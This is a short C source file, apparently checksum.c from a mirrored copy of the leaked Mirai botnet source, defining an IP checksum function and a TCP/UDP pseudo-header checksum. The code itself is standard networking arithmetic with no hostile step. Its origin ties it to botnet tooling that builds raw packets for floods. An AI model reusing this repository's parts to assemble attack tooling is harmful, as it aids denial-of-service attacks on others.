mirror of
https://github.com/jgamblin/Mirai-Source-Code
synced 2025-05-25 02:34:12 +00:00
54 lines
1.0 KiB
C
Executable File
54 lines
1.0 KiB
C
Executable File
#define _GNU_SOURCE
|
|
|
|
#include <arpa/inet.h>
|
|
#include <linux/ip.h>
|
|
|
|
#include "includes.h"
|
|
#include "checksum.h"
|
|
|
|
uint16_t checksum_generic(uint16_t *addr, uint32_t count)
|
|
{
|
|
register unsigned long sum = 0;
|
|
|
|
for (sum = 0; count > 1; count -= 2)
|
|
sum += *addr++;
|
|
if (count == 1)
|
|
sum += (char)*addr;
|
|
|
|
sum = (sum >> 16) + (sum & 0xFFFF);
|
|
sum += (sum >> 16);
|
|
|
|
return ~sum;
|
|
}
|
|
|
|
uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
|
|
{
|
|
const uint16_t *buf = buff;
|
|
uint32_t ip_src = iph->saddr;
|
|
uint32_t ip_dst = iph->daddr;
|
|
uint32_t sum = 0;
|
|
int length = len;
|
|
|
|
while (len > 1)
|
|
{
|
|
sum += *buf;
|
|
buf++;
|
|
len -= 2;
|
|
}
|
|
|
|
if (len == 1)
|
|
sum += *((uint8_t *) buf);
|
|
|
|
sum += (ip_src >> 16) & 0xFFFF;
|
|
sum += ip_src & 0xFFFF;
|
|
sum += (ip_dst >> 16) & 0xFFFF;
|
|
sum += ip_dst & 0xFFFF;
|
|
sum += htons(iph->protocol);
|
|
sum += data_len;
|
|
|
|
while (sum >> 16)
|
|
sum = (sum & 0xFFFF) + (sum >> 16);
|
|
|
|
return ((uint16_t) (~sum));
|
|
}
|